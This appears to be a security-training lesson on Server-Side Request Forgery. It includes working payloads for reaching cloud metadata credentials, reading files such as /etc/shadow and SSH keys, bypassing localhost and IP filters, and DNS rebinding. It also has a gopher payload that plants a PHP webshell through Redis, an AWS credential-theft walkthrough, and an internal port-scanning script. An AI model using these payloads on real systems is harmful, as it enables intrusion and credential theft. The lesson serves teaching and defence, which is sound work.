Server-Side Request Forgery (SSRF)

intermediate35 minWriteup

Making the server send requests on your behalf

Learning Objectives

  • Understand SSRF attacks
  • Find SSRF vulnerabilities
  • Exploit SSRF to access internal services
  • Bypass SSRF protections

Making the Server Your Puppet

Imagine you're standing outside a locked building. You can't get in, but there's an employee inside who'll fetch anything you ask for. You say "Hey, can you check what's in the CEO's office?" and they just... do it. That's Server-Side Request Forgery (SSRF).

SSRF occurs when you can make a server send HTTP requests on your behalf. The server becomes your proxy, accessing internal resources you couldn't reach directly. In cloud environments, this is devastating - you can steal credentials, access internal services, and sometimes achieve full server compromise.

SSRF is the #10 vulnerability in the OWASP Top 10 (2021) and has been responsible for major breaches including the Capital One hack (2019) that exposed 100+ million records.

How SSRF Works

SSRF exploits features where a server fetches content from a URL you provide. Instead of giving it a legitimate URL, you point it to something interesting:

1NORMAL FUNCTIONALITY:
2User: 606070;">#a5d6ff;">"Please fetch https://example.com/article.pdf"
3Server: Fetches example.com, returns the PDF
4Result: User gets the PDF
5 
6SSRF ATTACK:
7User: 606070;">#a5d6ff;">"Please fetch http://169.254.169.254/latest/meta-data/"
8Server: Fetches internal AWS metadata service
9Result: User gets cloud credentials!
10 
11User: 606070;">#a5d6ff;">"Please fetch http://localhost:8080/admin/delete-users"
12Server: Makes request to internal admin panel
13Result: All users deleted (server has access, you don't!)
14 
15User: 606070;">#a5d6ff;">"Please fetch http://192.168.1.100:3306/"
16Server: Connects to internal MySQL server
17Result: Service enumeration, possibly data extraction

Why Servers Fetch URLs

1COMMON SSRF-PRONE FEATURES:
2───────────────────────────
3• URL Preview/Unfurling (Slack, Discord, social media)
4• PDF Generators (HTML to PDF conversion)
5• Image/File Processors (resize images from URL)
6• Webhook Integrations (server calls your endpoint)
7• Import from URL (import data from external source)
8• Proxy Functionality (fetch content through server)
9• Screenshot Services (capture webpage as image)
10• Feed Parsers (RSS/Atom feed readers)
11• SVG Processors (SVG can contain external references)
12• Document Converters (Word, Excel with external refs)

The Devastating Impact

1. Cloud Metadata Services

Cloud providers expose metadata APIs accessible only from within instances. SSRF lets you reach them:

1AWS EC2 Metadata (IMDSv1):
2───────────────────────────
3http:606070;">//169.254.169.254/latest/meta-data/
4http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/
5http:606070;">//169.254.169.254/latest/user-data/
6 
7GCP Metadata:
8─────────────
9http:606070;">//metadata.google.internal/computeMetadata/v1/
10http:606070;">//169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
11(Requires header: Metadata-Flavor: Google)
12 
13Azure Metadata:
14───────────────
15http:606070;">//169.254.169.254/metadata/instance
16http:606070;">//169.254.169.254/metadata/identity/oauth2/token
17(Requires header: Metadata: true)
18 
19Digital Ocean:
20──────────────
21http:606070;">//169.254.169.254/metadata/v1/
AWS IMDSv1 is the most dangerous because it requires no special headers. A single SSRF can steal IAM credentials that grant full AWS access!

2. Internal Service Access

1TYPICAL INTERNAL SERVICES:
2──────────────────────────
3http:606070;">//localhost:8080/ # Development servers
4http:606070;">//127.0.0.1:6379/ # Redis (no auth by default!)
5http:606070;">//localhost:9200/ # Elasticsearch
6http:606070;">//localhost:11211/ # Memcached
7http:606070;">//10.0.0.1/admin/ # Internal admin panels
8http:606070;">//kubernetes/api/v1/ # Kubernetes API
9http:606070;">//consul.service.consul/ # HashiCorp Consul
10http:606070;">//vault.service.consul/ # HashiCorp Vault
11http:606070;">//etcd:2379/ # etcd configuration store

3. Port Scanning & Service Discovery

1606070;"># Scan internal network for open ports
2http:606070;">//192.168.1.1:22 (SSH)
3http:606070;">//192.168.1.1:3306 (MySQL)
4http:606070;">//192.168.1.1:5432 (PostgreSQL)
5http:606070;">//192.168.1.1:27017 (MongoDB)
6http:606070;">//192.168.1.1:9000 (PHP-FPM)
7 
8606070;"># Response time/error differences reveal open ports:
9- Connection refused = port closed
10- Timeout = filtered/no host
11- Immediate response = port open!

4. Local File Access

1606070;"># file:// protocol (if supported)
2file:606070;">///etc/passwd
3file:606070;">///etc/shadow
4file:606070;">///home/user/.ssh/id_rsa
5file:606070;">///var/www/html/config.php
6 
7606070;"># Windows paths
8file:606070;">///c:/windows/win.ini
9file:606070;">///c:/inetpub/wwwroot/web.config

Finding SSRF Vulnerabilities

SSRF Hunting Methodology

1
Identify URL Input Points
  • Any parameter containing URLs (check url=, site=, link=, src=, path=)
  • Import/export features
  • PDF generators, image processors
  • Webhook configurations
  • File upload by URL
2
Test with Collaborator
  • Use Burp Collaborator, RequestBin, or your own server
  • Submit your callback URL as the target
  • Check for incoming HTTP requests
  • This confirms the server is making requests
3
Test Internal Targets
  • Try localhost/127.0.0.1
  • Try 169.254.169.254 (cloud metadata)
  • Try internal IP ranges (192.168.x.x, 10.x.x.x, 172.16-31.x.x)
4
Bypass Filters
  • If blocked, try bypass techniques (see below)
  • Different encodings, protocols, redirects
5
Escalate Access
  • Enumerate internal services
  • Extract credentials
  • Interact with internal APIs

Detecting Blind SSRF

1BLIND SSRF: Server makes request but doesn't show response
2 
3DETECTION METHODS:
41. Out-of-band callbacks
5 - url=http:606070;">//YOUR-SERVER/ssrf-test
6 - Check your server logs for incoming requests
7 
82. Timing-based
9 - url=http:606070;">//192.168.1.1:22 → Fast response (port closed)
10 - url=http:606070;">//192.168.1.1:3306 → Slow response (port open, protocol mismatch)
11 
123. Error-based
13 - Different error messages for existing vs non-existing hosts
14 - 606070;">#a5d6ff;">"Connection refused" vs "Host unreachable" vs "Timeout"

Bypassing SSRF Protections

Applications often implement blocklists or allowlists. Here's how to bypass common protections:

IP Address Bypasses

1LOCALHOST REPRESENTATIONS:
2──────────────────────────
3127.0.0.1
4localhost
5127.1
6127.0.1
72130706433 606070;"># Decimal
80x7f000001 606070;"># Hex
90177.0.0.1 606070;"># Octal
10127.000.000.001 606070;"># Zero padding
11127001 606070;"># Unicode dots
12⑫⑦.⓪.⓪.① 606070;"># Unicode numbers
13[::] 606070;"># IPv6 localhost
14[::1] 606070;"># IPv6 localhost
15[0:0:0:0:0:0:0:1] 606070;"># IPv6 full
16[::ffff:127.0.0.1] 606070;"># IPv6 mapped IPv4
17 
18CLOUD METADATA BYPASSES:
19────────────────────────
20169.254.169.254
210251.0376.0251.0376 606070;"># Octal
220xa9.0xfe.0xa9.0xfe 606070;"># Hex
232852039166 606070;"># Decimal
24instance-data/ 606070;"># AWS alternate hostname
25metadata.google.internal 606070;"># GCP hostname

URL Parsing Bypasses

1BASIC URL: http:606070;">//evil.com@allowed.com/
2Parser might extract 606070;">#a5d6ff;">"allowed.com" but server connects to evil.com!
3 
4USERNAME/PASSWORD TRICKS:
5http:606070;">//allowed.com:80#@evil.com/
6http:606070;">//allowed.com?@evil.com/
7http:606070;">//allowed.com\@evil.com/
8 
9URL FRAGMENTS:
10http:606070;">//allowed.com#.evil.com
11http:606070;">//evil.com#.allowed.com
12 
13SUBDOMAIN TRICKS:
14(Register: allowed.com.evil.com)
15http:606070;">//allowed.com.evil.com/
16 
17UNICODE NORMALIZATION:
18http:606070;">//ⓔⓥⓘⓛ.ⓒⓞⓜ (Unicode circles)
19http:606070;">//evil。com (Unicode dot)
20 
21DOUBLE URL ENCODING:
22http:606070;">//127.0.0.1 → http://%31%32%37.%30.%30.%31
23→ http:606070;">//%2531%2532%2537.%2530.%2530.%2531

Protocol Bypasses

1606070;"># Different protocols the server might support:
2 
3file:606070;">///etc/passwd
4dict:606070;">//localhost:11211/stat
5gopher:606070;">//localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
6ftp:606070;">//localhost/
7sftp:606070;">//localhost/
8tftp:606070;">//localhost/file.txt
9ldap:606070;">//localhost:389/
10ssh:606070;">//localhost/
11 
12606070;"># Gopher is especially powerful - can send arbitrary data!
13606070;"># Used to attack Redis, Memcached, SMTP, etc.

DNS Rebinding

1PROBLEM: Server validates URL before fetching
2 
31. You submit: http:606070;">//evil.com/
42. Server resolves evil.com → 1.2.3.4 (your server)
53. Server validates: 1.2.3.4 is not internal, ALLOWED
64. Server fetches evil.com
7 
8DNS REBINDING ATTACK:
91. You control evil.com DNS
102. First DNS query: evil.com → 1.2.3.4 (passes validation)
113. You change DNS: evil.com → 169.254.169.254
124. Server's second DNS query (for fetch) → 169.254.169.254
135. Server fetches internal IP!
14 
15TTL TRICKS:
16- Set DNS TTL to 0
17- Server caches first (valid) result for validation
18- By fetch time, DNS returns internal IP
19 
20TOOLS: rbndr.us, your own DNS server
SSRF Payload Crafter
text

A web application's URL validator: - Blocks "localhost" and "127.0.0.1" - Blocks IPs starting with "169.254" - Allows only HTTP/HTTPS protocols Craft a payload to access http://127.0.0.1:8080/admin

Exploitation Techniques

AWS Credential Theft

bash
1606070;"># Step 1: Check if metadata service is accessible
2SSRF → http:606070;">//169.254.169.254/latest/meta-data/
3 
4606070;"># Step 2: Get IAM role name
5SSRF → http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/
6 
7Response: my-ec2-role
8 
9606070;"># Step 3: Get credentials
10SSRF → http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role
11 
12Response:
13{
14 606070;">#a5d6ff;">"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
15 606070;">#a5d6ff;">"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
16 606070;">#a5d6ff;">"Token": "FwoGZXIvYXdzEBY...",
17 606070;">#a5d6ff;">"Expiration": "2024-01-01T00:00:00Z"
18}
19 
20606070;"># Step 4: Use credentials
21export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
22export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
23export AWS_SESSION_TOKEN=FwoGZXIvYXdzEBY...
24 
25aws s3 ls 606070;"># Now you have AWS access!

Redis Exploitation via Gopher

1606070;"># Gopher protocol can send raw TCP data
2606070;"># Use it to interact with Redis (no auth by default!)
3 
4606070;"># Redis command to write webshell:
5CONFIG SET dir /var/www/html
6CONFIG SET dbfilename shell.php
7SET x 606070;">#a5d6ff;">"<?php system($_GET['cmd']);?>"
8BGSAVE
9 
10606070;"># Gopher payload (URL encoded):
11gopher:606070;">//127.0.0.1:6379/_*1%0d%0a$7%0d%0aCONFIG%0d%0a*2%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a*2%0d%0a$13%0d%0a/var/www/html%0d%0a...
12 
13Tools to generate payloads:
14- Gopherus: https:606070;">//github.com/tarunkant/Gopherus
15- SSRF-King: https:606070;">//github.com/ethicalhackingplayground/SSRFKing

Internal Network Scanning

python
1606070;"># Script concept for internal port scanning via SSRF
2 
3import requests
4import time
5 
6ssrf_endpoint = 606070;">#a5d6ff;">"https://vulnerable.com/fetch?url="
7internal_range = 606070;">#a5d6ff;">"192.168.1."
8ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]
9 
10for host in range(1, 255):
11 for port in ports:
12 target = f606070;">#a5d6ff;">"http://{internal_range}{host}:{port}/"
13 start = time.time()
14 try:
15 r = requests.get(ssrf_endpoint + target, timeout=5)
16 elapsed = time.time() - start
17 
18 606070;"># Analyze response to determine port status
19 if 606070;">#a5d6ff;">"connection refused" in r.text.lower():
20 print(f606070;">#a5d6ff;">"{target} - Closed")
21 elif elapsed < 1: 606070;"># Fast response
22 print(f606070;">#a5d6ff;">"{target} - OPEN!")
23 except:
24 pass

Practice Challenges

AWS Metadata Heist

Challenge
🔥 medium

A PDF generation service accepts URLs: POST /api/generate-pdf {"url": "https://example.com/report"} The server: - Fetches the URL and converts it to PDF - Blocks requests to 169.254.169.254 - Allows HTTP and HTTPS only The server runs on AWS EC2. Extract the IAM credentials.

Need a hint? (4 available)

Internal Admin Panel

Challenge
🔥 medium

A URL preview feature shows a preview card for links: GET /api/preview?url=https://twitter.com/user The server: - Allows only HTTP/HTTPS - Blocks localhost, 127.0.0.1, and private IP ranges - Shows error messages on connection failure There's an internal admin panel at port 8080. Access it.

Need a hint? (4 available)

SSRF to RCE

Challenge
🔥 medium

A webhook testing service: - Sends POST requests to user-specified URLs - You can set custom body content - Uses gopher:// in addition to http:// Internal network has an unprotected Redis server at 10.0.0.50:6379. The web server writes files to /var/www/html/. Achieve Remote Code Execution.

Need a hint? (4 available)

Knowledge Check

SSRF Quiz
Question 1 of 5

What is the primary risk of SSRF in cloud environments?

Key Takeaways

  • SSRF makes servers your proxy - accessing internal resources, cloud metadata, and firewalled services
  • Cloud metadata is the prize - 169.254.169.254 contains IAM credentials that often grant extensive access
  • Blocklists are easily bypassed - decimal IPs, IPv6, DNS rebinding, URL parsing tricks
  • Gopher protocol enables service exploitation - attack Redis, MySQL, Memcached via SSRF
  • Defense requires allowlists + DNS resolution checks - validate both hostname AND resolved IP

Related Lessons